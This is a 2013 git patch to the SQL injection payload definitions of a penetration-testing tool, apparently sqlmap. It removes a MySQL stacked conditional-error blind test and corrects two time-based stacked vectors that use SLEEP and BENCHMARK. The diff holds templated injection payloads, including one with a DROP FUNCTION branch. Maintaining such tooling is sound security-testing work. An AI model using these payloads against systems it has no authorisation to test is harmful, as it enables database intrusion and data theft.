From ad07add549e2338498d9305e1b3fb6f882f84fbc Mon Sep 17 00:00:00 2001
From: Miroslav Stampar <miroslav.stampar@gmail.com>
Date: Wed, 5 Jun 2013 14:32:06 +0200
Subject: [PATCH] Fixing MySQL/stacked payloads (also removing stacked
 conditional-error version as it's syntatically incorrect)

---
 xml/payloads.xml | 24 ++----------------------
 1 file changed, 2 insertions(+), 22 deletions(-)

diff --git a/xml/payloads.xml b/xml/payloads.xml
index 83a0c8a12..de9e5a80d 100644
--- a/xml/payloads.xml
+++ b/xml/payloads.xml
@@ -1084,26 +1084,6 @@ Formats:
 
 
     <!-- Stacked conditional-error blind queries tests -->
-    <test>
-        <title>MySQL stacked conditional-error blind queries</title>
-        <stype>1</stype>
-        <level>3</level>
-        <risk>0</risk>
-        <clause>0</clause>
-        <where>1</where>
-        <vector>; IF(([INFERENCE]),SELECT [RANDNUM],DROP FUNCTION [RANDSTR])</vector>
-        <request>
-            <payload>; IF(([RANDNUM]=[RANDNUM]),SELECT [RANDNUM],DROP FUNCTION [RANDSTR])</payload>
-            <comment>#</comment>
-        </request>
-        <response>
-            <comparison>; IF(([RANDNUM]=[RANDNUM1]),SELECT [RANDNUM],DROP FUNCTION [RANDSTR])</comparison>
-        </response>
-        <details>
-            <dbms>MySQL</dbms>
-        </details>
-    </test>
-
     <test>
         <title>Microsoft SQL Server/Sybase stacked conditional-error blind queries</title>
         <stype>1</stype>
@@ -2025,7 +2005,7 @@ Formats:
         <risk>0</risk>
         <clause>0</clause>
         <where>1</where>
-        <vector>; IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
+        <vector>; SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
         <request>
             <payload>; SELECT SLEEP([SLEEPTIME])</payload>
             <comment>-- </comment>
@@ -2046,7 +2026,7 @@ Formats:
         <risk>2</risk>
         <clause>0</clause>
         <where>1</where>
-        <vector>; IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])</vector>
+        <vector>; SELECT IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])</vector>
         <request>
             <payload>; SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))</payload>
             <comment>-- </comment>